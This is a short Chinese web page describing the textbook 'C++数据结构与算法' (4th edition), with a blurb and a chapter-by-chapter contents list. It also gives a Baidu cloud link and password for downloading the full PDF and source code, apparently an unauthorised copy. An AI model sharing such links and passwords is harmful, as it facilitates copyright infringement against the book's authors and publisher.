主要强调了数据结构和算法之间的联系,使用面向对象的方法介绍数据结构,其内容包括算法的复杂度分析、链表、栈、队列、递归、二叉树、图、排序和散列。本书还清晰地阐述了同类教材中较少提到的内存管理、数据压缩和字符串匹配等主题。书中包含大量的示例分析和图形,便于读者进一步理解和巩固所学的知识。

书籍目录:
第1章 C++面向对象程序设计
第2章 复杂度分析
第3章 链表
第4章 栈与队列
第5章 递归
第6章 二叉树
第7章 多叉树
第8章 图
第9章 排序
第10章 散列
第11章 数据压缩
第12章 内存管理
第13章 字符串匹配
参考书目
附录A 计算大O
附录B 标准模板库中的算法
附录C NP完整性


C++数据结构与算法 第四版 完整带书签PDF+源码下载地址

链接: https://pan.baidu.com/s/1Z6ascYVsHb6UkzcaurRNgg 密码: 6vuy




你半夜醒来发现自己已经好长时间没读书,而且没有任何负罪感的时候,你就必须知道,你已经堕落了 sitemap